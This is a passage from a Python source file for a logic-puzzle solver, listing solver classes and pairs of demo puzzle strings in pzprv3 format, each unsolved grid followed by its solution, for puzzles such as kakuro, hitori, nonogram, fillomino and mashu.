"Tapa-Like Loop", TapaLikeLoopSolver), ('tentaisho', "Tentaisho (Spiral Galaxies)", TentaishoSolver), ('tents', "Tents", TentsSolver), ('yajilin', "Yajilin", YajilinSolver), ('yinyang', "Yin Yang", YinYangSolver), ] DEMOS = [ ( 'pzprv3/aquarium/6/6/1 0 1 1 0 /0 0 1 1 1 /0 1 1 1 1 /1 1 0 1 0 /1 1 0 1 1 /0 0 1 0 1 /1 1 1 1 1 1 /1 1 0 0 0 0' ' /1 1 1 1 1 1 /0 0 1 1 1 1 /1 1 1 1 0 1 /. 2 3 4 2 2 4 /3 . . . . . . /3 . . . . . . /3 . . . . . . /2 . . . .' ' . . /2 . . . . . . /4 . . . . . . /', 'pzprv3/aquarium/6/6/1 0 1 1 0 /0 0 1 1 1 /0 1 1 1 1 /1 1 0 1 0 /1 1 0 1 1 /0 0 1 0 1 /1 1 1 1 1 1 /1 1 0 0 0 0' ' /1 1 1 1 1 1 /0 0 1 1 1 1 /1 1 1 1 0 1 /. 2 3 4 2 2 4 /3 + + + # # # /3 # # # + + + /3 + + # + # # /2 + + # #' ' + + /2 + # + + + # /4 # # # + + # /', ), ( 'pzprv3/balance/10/10/. . 0,-2 0,-2 0,-2 0,-2 0,-2 0,-2 . . /. . . . . . . . . . /. 0,4 . 0,6 . . 1,4 . 1,6 . /' '. . . . . . . . . . /. . . . 1,-2 0,-2 . . . . /. . . . . . . . . . /. 1,-2 0,-2 . 0,-2 1,-2 . 0,-2 1,-2 . /. ' '. . . . . . . . . /. . . . 0,-2 0,-2 . . . . /0,-2 . . 0,6 . . 1,6 . . 0,-2 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 ' '0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 ' '0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /' '0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0' ' 0 0 0 0 0 0 0 /', 'pzprv3/balance/10/10/. . 0,-2 0,-2 0,-2 0,-2 0,-2 0,-2 . . /. . . . . . . . . . /. 0,4 . 0,6 . . 1,4 . 1,6 . /' '. . . . . . . . . . /. . . . 1,-2 0,-2 . . . . /. . . . . . . . . . /. 1,-2 0,-2 . 0,-2 1,-2 . 0,-2 1,-2 . /. ' '. . . . . . . . . /. . . . 0,-2 0,-2 . . . . /0,-2 . . 0,6 . . 1,6 . . 0,-2 /0 1 0 1 0 1 0 1 0 /0 0 1 0 1 0 1 ' '0 1 /0 0 0 1 1 1 0 0 1 /0 0 0 0 0 0 1 0 0 /0 1 0 0 1 1 0 0 0 /0 0 0 1 0 0 0 0 0 /1 0 0 1 1 0 0 0 0 /0 0 0 0 1 ' '0 0 0 1 /0 1 0 0 1 0 0 0 0 /1 1 1 0 0 1 0 1 1 /0 1 1 1 1 1 1 1 1 0 /0 1 0 0 0 0 0 0 0 1 /0 1 0 1 0 0 1 0 1 0 /' '0 1 0 1 0 0 0 1 1 0 /0 0 1 1 1 0 1 1 1 0 /0 0 1 0 0 0 1 1 1 0 /1 1 1 1 0 1 1 1 1 0 /1 1 1 1 1 0 1 1 0 1 /1 0 0' ' 1 0 1 1 1 0 1 /', ), ( 'pzprv3/castle/7/7/0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 2,1,1 0' ',-1,0 /0,-1,0 1,0,1 0,-1,0 0,-,2 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,0 3,2,2 0,-1,0 0,-1,0 0,-1,0 /0,-1,0' ' 0,-1,0 0,-1,0 0,-,2 0,-1,0 3,2,1 0,-1,0 /0,-1,0 4,3,1 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,' '0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0' ' 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /', 'pzprv3/castle/7/7/0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 2,1,1 0' ',-1,0 /0,-1,0 1,0,1 0,-1,0 0,-,2 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,0 3,2,2 0,-1,0 0,-1,0 0,-1,0 /0,-1,0' ' 0,-1,0 0,-1,0 0,-,2 0,-1,0 3,2,1 0,-1,0 /0,-1,0 4,3,1 0,-1,0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /0,-1,0 0,-1,0 0,-1,' '0 0,-1,0 0,-1,0 0,-1,0 0,-1,0 /1 1 1 1 1 1 /0 0 1 1 0 0 /0 0 0 0 0 0 /1 1 0 0 0 0 /1 1 0 0 0 0 /0 0 1 1 0 1 /1' ' 1 1 1 1 0 /1 0 0 0 0 0 1 /1 0 1 0 1 0 1 /1 0 1 0 1 0 1 /0 0 0 0 1 0 1 /1 0 1 0 1 0 1 /1 0 0 0 0 1 0 /', ), ( 'pzprv3/cave/10/10/6 . . . 6 . . . . 4 /. . . . . 6 . . . . /. . 3 . . . . 5 . . /. . . 7 . . 9 . . . /. 5 . . ' '3 . . . . 5 /5 . . . . 5 . . 2 . /. . . 2 . . 4 . . . /. . 7 . . . . 4 . . /. . . . 2 . . . . . /5 . . . . 6 .' ' . . 6 /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . ' '. /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /', 'pzprv3/cave/10/10/6 . . . 6 . . . . 4 /. . . . . 6 . . . . /. . 3 . . . . 5 . . /. . . 7 . . 9 . . . /. 5 . . ' '3 . . . . 5 /5 . . . . 5 . . 2 . /. . . 2 . . 4 . . . /. . 7 . . . . 4 . . /. . . . 2 . . . . . /5 . . . . 6 .' ' . . 6 /+ + + + + + # + + + /# # # # # + + + + + /# + + # # # + + + # /+ + + + + + + # + + /+ + # # + + # # # ' '+ /+ + + # # + + # + + /# # + + # + + # # + /+ + + # # # + + # + /+ + + # + # # + # # /+ + + # + + + + + + /', ), ( 'pzprv3/easyasabc/5/5/3/. . 2 . 1 3 . /1 . . . . . 3 /1 . . . . . 3 /. . . . . . . /. . . . . . 3 /3 . . . . . ' '1 /. 2 . 1 . 1 . /', 'pzprv3/easyasabc/5/5/3/. . 2 . 1 3 . /1 1 2 3 - - 3 /1 - 1 2 - 3 3 /. 3 - - 1 2 . /. 2 - 1 3 - 3 /3 - 3 - 2 1 ' '1 /. 2 . 1 . 1 . /', ), ( 'pzprv3/fillomino/9/9/. . . . . . . 2 3 /. 3 2 6 . . . . . /. . . 2 . . . . . /. 5 2 1 . 4 2 2 . /. 3 . . . . .' ' 3 . /. 2 1 5 . 5 7 9 . /. . . . . . . 2 . /. . . . . 5 2 4 . /2 3 . . . . . . . /. . . . . . . . . /. . . . .' ' . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . .' ' . . . . . . /. . . . . . . . . /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0' ' 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0' ' 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0' ' 0 0 0 /', 'pzprv3/fillomino/9/9/. . . . . . . 2 3 /. 3 2 6 . . . . . /. . . 2 . . . . . /. 5 2 1 . 4 2 2 . /. 3 . . . . .' ' 3 . /. 2 1 5 . 5 7 9 . /. . . . . . . 2 . /. . . . . 5 2 4 . /2 3 . . . . . . . /. . . . . . . . . /. . . . .' ' . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . . . . . . . . /. . .' ' . . . . . . /. . . . . . . . . /0 1 1 0 0 1 0 1 /1 1 1 0 0 1 1 0 /0 0 1 0 1 0 0 0 /1 1 1 1 0 1 0 1 /0 1 1 0 1' ' 0 0 1 /0 1 1 0 0 1 1 0 /1 1 0 1 0 0 1 0 /1 1 0 0 1 1 1 0 /1 1 0 0 0 1 1 0 /1 0 0 0 0 0 1 1 0 /0 1 1 1 1 1 0 1' ' 1 /1 0 1 1 1 1 1 1 0 /0 1 0 1 0 1 1 1 0 /1 1 1 1 1 1 1 1 0 /1 1 1 0 1 1 0 1 1 /1 0 1 1 0 1 1 1 1 /0 0 1 1 1 0' ' 0 0 0 /', ), ( 'pzprv3/hashikake/13/13/2 . 4 . 3 . 1 . 2 . . 1 . /. . . . . . . . . 3 . . 1 /. . . . 2 . 3 . 2 . . . . /2 . 3 ' '. . 2 . . . 3 . 1 . /. . . . 2 . 5 . 3 . 4 . . /1 . 5 . . 2 . 1 . . . 2 . /. . . . . . 2 . 2 . 4 . 2 /. . 4 . ' '4 . . 3 . . . 3 . /. . . . . . . . . . . . . /2 . 2 . 3 . . . 3 . 2 . 3 /. . . . . 2 . 4 . 4 . 3 . /. . 1 . 2 ' '. . . . . . . . /3 . . . . 3 . 1 . 2 . . 2 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 ' '0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0' ' 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0' ' 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0' ' 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0' ' 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0' ' 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 0 /', 'pzprv3/hashikake/13/13/2 . 4 . 3 . 1 . 2 . . 1 . /. . . . . . . . . 3 . . 1 /. . . . 2 . 3 . 2 . . . . /2 . 3 ' '. . 2 . . . 3 . 1 . /. . . . 2 . 5 . 3 . 4 . . /1 . 5 . . 2 . 1 . . . 2 . /. . . . . . 2 . 2 . 4 . 2 /. . 4 . ' '4 . . 3 . . . 3 . /. . . . . . . . . . . . . /2 . 2 . 3 . . . 3 . 2 . 3 /. . . . . 2 . 4 . 4 . 3 . /. . 1 . 2 ' '. . . . . . . . /3 . . . . 3 . 1 . 2 . . 2 /1 1 2 2 0 0 0 0 1 1 1 0 /0 0 0 0 0 0 0 0 0 1 1 1 /0 0 0 0 1 1 1 1 ' '0 0 0 0 /0 0 1 1 1 1 1 1 1 0 0 0 /0 0 0 0 2 2 1 1 2 2 0 0 /0 0 2 2 2 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 1 1 0 0 /0' ' 0 1 1 2 2 2 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 0 /1 1 0 0 1 1 1 1 1 1 0 0 /0 0 0 0 0 1 1 2 2 1 1 0 /0 0 1 1 0 0' ' 0 0 0 0 0 0 /2 2 2 2 2 0 0 0 0 1 1 1 /1 0 1 0 1 0 1 0 1 0 0 0 0 /1 0 1 0 1 0 1 0 1 2 0 0 0 /1 0 1 0 0 0 0 0 0' ' 2 0 0 0 /1 0 1 0 0 0 0 0 0 0 0 1 0 /1 0 1 0 0 0 2 0 0 0 2 1 0 /0 0 2 0 0 0 2 1 0 0 2 1 0 /0 0 2 0 0 0 0 1 1 0' ' 1 1 2 /0 0 1 0 1 0 0 0 1 0 1 2 2 /0 0 1 0 1 0 0 0 1 0 1 2 2 /1 0 0 0 1 0 0 0 0 0 0 2 1 /1 0 0 0 1 1 0 1 0 1 0' ' 0 1 /1 0 0 0 0 1 0 1 0 1 0 0 1 /', ), ( 'pzprv3/heteromino/10/10/. . . . . . . . . . /. . * * * * * . . . /. . . . . . . . * . /. . . * * * * . . . /* ' '* . . . . . . . * /. . . * . . * * . . /. * * . . * . . * . /. * * . . . . . . . /. . . . . * * * . . /. . . .' ' . * * * . . /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 ' '0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 0 ' '/0 0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 ' '0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0' ' 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /', 'pzprv3/heteromino/10/10/. . . . . . . . . . /. . * * * * * . . . /. . . . . . . . * . /. . . * * * * . . . /* ' '* . . . . . . . * /. . . * . . * * . . /. * * . . * . . * . /. * * . . . . . . . /. . . . . * * * . . /. . . .' ' . * * * . . /1 1 0 1 0 0 1 0 1 0 1 /1 1 1 0 0 0 0 1 1 1 1 /1 1 1 0 1 0 0 1 1 1 1 /1 0 1 1 0 0 0 1 0 1 1 /0 0 ' '1 1 0 1 0 1 0 1 0 /1 1 0 1 1 1 1 0 1 1 1 /1 1 0 1 1 1 1 0 1 1 1 /1 1 0 1 1 0 1 1 0 1 1 /1 1 0 1 1 1 0 0 1 1 1 ' '/1 0 1 1 0 1 0 0 1 0 1 /1 1 1 1 1 1 1 1 1 1 /0 0 1 1 1 1 1 0 0 1 /0 1 1 1 1 1 1 1 1 0 /1 0 0 1 1 1 1 0 1 0 /1 ' '1 1 1 1 1 1 1 1 1 /1 1 0 1 0 0 1 1 0 1 /0 1 1 1 1 1 1 1 1 0 /0 0 0 0 0 1 0 1 1 0 /1 1 1 0 1 1 1 1 0 1 /0 1 0 1' ' 0 0 0 0 1 0 /1 1 1 1 1 0 0 0 1 1 /', ), ( 'pzprv3/heyawake/7/7/14/0 1 2 2 3 4 4 /0 1 2 2 3 4 4 /0 1 5 5 6 6 6 /7 7 5 5 6 6 6 /7 7 8 9 9 10 10 /7 7 8 9 9 ' '10 10 /11 11 11 9 9 12 13 /2 . . . . 2 . /. . . . . . . /. . 2 . 1 . . /. . . . . . . /. . . 1 . 0 . /. . . . ' '. . . /1 . . . . 1 0 /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . .' ' /. . . . . . . /', 'pzprv3/heyawake/7/7/14/0 1 2 2 3 4 4 /0 1 2 2 3 4 4 /0 1 5 5 6 6 6 /7 7 5 5 6 6 6 /7 7 8 9 9 10 10 /7 7 8 9 9 ' '10 10 /11 11 11 9 9 12 13 /2 . . . . 2 . /. . . . . . . /. . 2 . 1 . . /. . . . . . . /. . . 1 . 0 . /. . . . ' '. . . /1 . . . . 1 0 /# + + # + + # /+ + # + + # + /# + + # + + + /+ + # + + + # /+ # + + # + + /+ + # + + + +' ' /# + + + + # + /', ), ( 'pzprv3/hitori/8/8/4 8 1 6 3 2 5 7 /3 6 7 2 1 6 5 4 /2 3 4 8 2 8 6 1 /4 1 6 5 7 7 3 5 /7 2 3 1 8 5 1 2 /3 5 6 7' ' 3 1 8 4 /6 4 2 3 5 4 7 8 /8 7 1 4 2 3 5 6 /. . . . . . . . /. . . . . . . . /. . . . . . . . /. . . . . . . .' ' /. . . . . . . . /. . . . . . . . /. . . . . . . . /. . . . . . . . /', 'pzprv3/hitori/8/8/4 8 1 6 3 2 5 7 /3 6 7 2 1 6 5 4 /2 3 4 8 2 8 6 1 /4 1 6 5 7 7 3 5 /7 2 3 1 8 5 1 2 /3 5 6 7' ' 3 1 8 4 /6 4 2 3 5 4 7 8 /8 7 1 4 2 3 5 6 /# 8 # 6 3 2 # 7 /3 6 7 2 1 # 5 4 /# 3 4 # 2 8 6 1 /4 1 # 5 7 # 3 #' ' /7 # 3 # 8 5 1 2 /# 5 6 7 # 1 8 # /6 # 2 3 5 4 7 8 /8 7 1 4 # 3 # 6 /', ), ( 'pzprv3/kakuro/7/7/0 23 30 -1 -1 27 12 16 /16 . . -1,-1 24,17 . . . /17 . . 29,15 . . . . /35 . . . . . -1,12 -' '1,-1 /-1 7,-1 . . 8,7 . . -1,7 /-1 -1,11 16,10 . . . . . /21 . . . . 5,-1 . . /6 . . . -1,-1 3,-1 . . /. . . .' ' . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /. . . . . . . /', 'pzprv3/kakuro/7/7/0 23 30 -1 -1 27 12 16 /16 . . -1,-1 24,17 . . . /17 . . 29,15 . . . . /35 . . . . . -1,12 -' '1,-1 /-1 7,-1 . . 8,7 . . -1,7 /-1 -1,11 16,10 . . . . . /21 . . . . 5,-1 . . /6 . . . -1,-1 3,-1 . . /9 7 1 1' ' 8 7 9 /8 9 1 8 9 5 7 /6 8 5 9 7 1 1 /1 6 1 1 2 6 1 /1 1 4 6 1 3 2 /8 9 3 1 1 1 4 /3 1 2 1 1 2 1 /', ), ( 'pzprv3/kropki/4/4/0 0 1 /1 2 1 /1 2 1 /1 0 0 /0 2 1 1 /0 2 2 0 /1 1 1 0 /. . . . /. . . . /. . . . /. . . . /', 'pzprv3/kropki/4/4/0 0 1 /1 2 1 /1 2 1 /1 0 0 /0 2 1 1 /0 2 2 0 /1 1 1 0 /4 1 3 2 /1 2 4 3 /3 4 2 1 /2 3 1 4 /', ), ( 'pzprv3/lightup/10/10/- . . - . . . . . - /. . . . . . . - . . /. 3 . . . . 0 . . . /. . 2 . . - . . . 1 /. . .' ' 1 0 - . . . . /. . . . 1 - - . . . /- . . . 2 . . 2 . . /. . . - . . . . - . /. . 1 . . . . . . . /0 . . . . ' '. 1 . . 0 /', 'pzprv3/lightup/10/10/- # + - # + + + + - /+ + + # + + + - + + /# 3 # + + + 0 + + # /+ # 2 + + - + + + 1 /+ + +' ' 1 0 - # + + + /+ + + # 1 - - # + + /- + # + 2 # + 2 # + /# + + - # + + + - # /+ + 1 + + + + + # + /0 + # + + ' '+ 1 # + 0 /', ), ( 'pzprv3/lits/10/10/13/0 0 0 0 0 1 2 2 2 2 /0 3 0 0 0 1 1 4 4 4 /0 3 0 0 0 0 1 4 5 5 /0 3 0 1 1 1 1 4 4 5 /0 3 3' ' 6 6 6 6 4 5 5 /7 7 7 7 7 7 6 5 5 5 /8 8 7 7 7 6 6 5 5 9 /10 8 8 10 10 10 11 5 9 9 /10 10 10 10 10 10 11 5 5 9' ' /12 12 12 12 10 11 11 11 5 5 /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . ' '. . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /' '. . . . . . . . . . /', 'pzprv3/lits/10/10/13/0 0 0 0 0 1 2 2 2 2 /0 3 0 0 0 1 1 4 4 4 /0 3 0 0 0 0 1 4 5 5 /0 3 0 1 1 1 1 4 4 5 /0 3 3' ' 6 6 6 6 4 5 5 /7 7 7 7 7 7 6 5 5 5 /8 8 7 7 7 6 6 5 5 9 /10 8 8 10 10 10 11 5 9 9 /10 10 10 10 10 10 11 5 5 9' ' /12 12 12 12 10 11 11 11 5 5 /+ + + + + + # # # # /+ + + # # + + # + + /+ # # # + + + # + # /+ # + # # # # # ' '# # /+ # # + + + # + + # /+ + # # # + # + + # /# # + # + # # + + # /+ # # # # + + + # # /+ + + + # + # + + # /' '# # # # # # # # + + /', ), ( 'pzprv3/mashu/10/10/. . 1 . 1 . . . . . /. . . . 1 . . . 2 . /. . 2 . 2 . 1 . . . /. . . 1 . . 1 . . . /2 . . .' ' . 1 . . . 1 /. . 1 . . . . 1 . . /. . 2 . . . 1 . . . /1 . . . 2 . . . . 1 /. . . . . . 1 1 . . /. . 2 . . . ' '. . . 2 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 ' '0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /' '0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0' ' 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /0 0 0 0 0 0 0 0 0 0 /', 'pzprv3/mashu/10/10/. . 1 . 1 . . . . . /. . . . 1 . . . 2 . /. . 2 . 2 . 1 . . . /. . . 1 . . 1 . . . /2 . . .' ' . 1 . . . 1 /. . 1 . . . . 1 . . /. . 2 . . . 1 . . . /1 . . . 2 . . . . 1 /. . . . . . 1 1 . . /. . 2 . . . ' '. . . 2 /0 1 1 1 1 0 1 1 1 /1 0 0 1 1 0 1 1 0 /1 1 0 0 1 1 1 0 0 /0 0 0 0 0 1 1 0 0 /1 1 0 1 0 0 0 1 0 /0 1 1 ' '1 0 0 0 0 1 /0 0 1 1 0 1 1 0 1 /0 0 0 0 1 1 1 1 0 /1 0 0 0 0 1 1 1 0 /0 0 1 1 0 1 1 1 1 /0 1 0 0 0 1 1 0 0 1 /' '1 0 0 1 0 0 0 0 1 1 /0 0 1 1 1 0 0 1 1 1 /0 0 1 1 1 1 0 0 1 1 /1 0 0 0 0 1 0 1 0 1 /1 1 0 0 1 1 0 1 1 0 /1 1 1' ' 0 0 0 0 0 0 1 /1 1 1 0 1 0 0 0 1 1 /0 0 1 0 1 1 0 0 0 1 /', ), ( 'pzprv3/meander/10/10/1 0 1 0 0 1 0 1 0 /0 0 1 0 1 1 0 0 0 /1 0 1 0 1 0 0 1 0 /0 1 0 0 1 0 1 0 1 /1 1 1 0 1 0 0' ' 1 0 /1 1 1 0 1 0 0 1 0 /1 1 1 0 1 0 1 0 0 /0 1 0 0 1 0 1 0 0 /1 1 0 0 1 0 1 0 0 /0 0 0 1 0 0 1 0 0 /0 1 1 0 0' ' 1 0 0 1 1 /1 0 0 1 1 0 1 1 1 1 /0 1 1 0 0 0 0 1 0 1 /1 0 0 1 1 1 1 1 1 0 /0 0 1 0 0 0 0 0 0 0 /0 0 0 0 0 1 1 ' '1 1 1 /0 1 0 1 1 0 0 0 0 0 /1 0 1 1 1 0 0 1 1 1 /0 1 1 1 0 1 1 0 0 0 /. . 1 . . . . . . . /. . . . . . . 4 . .' ' /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. .' ' . . . . . . . . /. . 6 . . . . . . . /. . . . . . . 2 . . /. . . . . . . . . . /. . . . . . . . . . /. . . . ' '. . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . .' ' . . . /. . . . . . . . . . /. . . . . . . . . . /', 'pzprv3/meander/10/10/1 0 1 0 0 1 0 1 0 /0 0 1 0 1 1 0 0 0 /1 0 1 0 1 0 0 1 0 /0 1 0 0 1 0 1 0 1 /1 1 1 0 1 0 0' ' 1 0 /1 1 1 0 1 0 0 1 0 /1 1 1 0 1 0 1 0 0 /0 1 0 0 1 0 1 0 0 /1 1 0 0 1 0 1 0 0 /0 0 0 1 0 0 1 0 0 /0 1 1 0 0' ' 1 0 0 1 1 /1 0 0 1 1 0 1 1 1 1 /0 1 1 0 0 0 0 1 0 1 /1 0 0 1 1 1 1 1 1 0 /0 0 1 0 0 0 0 0 0 0 /0 0 0 0 0 1 1 ' '1 1 1 /0 1 0 1 1 0 0 0 0 0 /1 0 1 1 1 0 0 1 1 1 /0 1 1 1 0 1 1 0 0 0 /. . 1 . . . . . . . /. . . . . . . 4 . .' ' /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. .' ' . . . . . . . . /. . 6 . . . . . . . /. . . . . . . 2 . . /6 2 1 5 2 1 2 1 2 1 /5 4 3 4 3 6 3 4 5 6 /6 1 2 1 ' '2 5 2 1 2 1 /5 4 5 4 3 4 3 4 3 5 /6 3 6 2 1 2 1 6 1 4 /5 2 5 3 4 3 4 5 2 3 /4 1 4 6 5 2 1 3 4 5 /3 2 3 2 1 3 4' ' 2 1 6 /5 1 6 5 4 6 5 3 4 5 /4 3 2 1 3 2 1 2 1 6 /', ), ( 'pzprv3/mines/10/10/. . . . . . . . . . /. 3 4 5 . . 5 3 1 . /. 2 . . . . . . 2 . /. 1 . 2 2 2 2 . 4 . /. . . 2' ' . . 2 . . . /. . . 2 . . 2 . . . /. 4 . 2 2 2 2 . 1 . /. 2 . . . . . . 2 . /. 1 2 4 . . 1 2 4 . /. . . . . . ' '. . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . .' ' . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /. . . . . . . . . . /', 'pzprv3/mines/10/10/. . . . . . . . . . /. 3 4 5 . . 5 3 1 . /. 2 . . . . . . 2 . /. 1 . 2 2 2 2 . 4 . /. . . 2' ' . . 2 . . . /. . . 2 . . 2 . . . /. 4 . 2 2 2 2 . 1 . /. 2 . . . . . . 2 . /. 1 2 4 . . 1 2 4 . /. . . . . . ' '. . . . /+ # # # # # # # + + /# + + + # # + + + + /+ + + # + + # + + + /# + + + + + + # + # /+ + + + # + + + #' ' # /# # + + # # + + + + /# + + + + + + # + + /+ + # + + + + + + + /+ + + + # + + + + # /+ + + # # + + # # # /', ), ( 'pzprv3/nonogram/11/8/. . . . . . . . . . . . /. . . . . . . . . . . . /. . . . . . . . . . . . /. . . . . . . ' '. . . . . /. . . . . . . 2 2 . . . /. . . . . 9 9 2 2 4 4 . /. . . . . . . . . . . . /. . . 4 . . . . . . . . ' '/. . . 6 . . . . . . . . /. . 2 2 . . . . . . . . /. . 2 2 . . . . . . . . /. . . 6 . . . . . . . . /. . . 4 .' ' . . . . . . . /. . . 2 . . . . . . . . /. . . 2 . . . . . . . . /. . . 2 . . . . . . . . /. . . . . . . . . .' ' . . /', 'pzprv3/nonogram/11/8/. . . . . . . . . . . . /. . . . . . . . . . . . /. . . . . . . . . . . . /. . . . . . . ' '. . . . . /. . . . . . . 2 2 . . . /. . . . . 9 9 2 2 4 4 . /. . . . + + + + + + + + /. . . 4 + # # # # + + + ' '/. . . 6 + # # # # # # + /. . 2 2 + # # + + # # + /. . 2 2 + # # + + # # + /. . . 6 + # # # # # # + /. . . 4 +' ' # # # # + + + /. . . 2 + # # + + + + + /. . . 2 + # # + + + + + /. . . 2 + # # + + + + + /. . . . + + + + + +' ' + + /', ), ( 'pzprv3/numlin/7/7/. . . 4 . . . /. 3 . . 2 5 . /. . . 3 1 . . /. . . 5 . . . /. . . . . . . /. . 1 . . . . /2 ' '. . . 4 . . /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 0 0 0 /0 0 0 ' '0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /0 0 0 0 0 0 0 /', 'pzprv3/numlin/7/7/. . . 4 . . . /. 3 . . 2 5 . /. . . 3 1 . . /. . . 5 . . . /. . . . . . . /. . 1 . . . . /2 ' '. . . 4 . . /1 1 0 1 1 1 /0 0 1 1 0 0 /0 1 1 0 0 0 /0 1 1 0 0 0 /0 0 1 1 0 0 /0 0 0 1 1 0 /0 1 1 0 1 1 /1 0 1 ' '0 0 0 1 /1 1 0 0 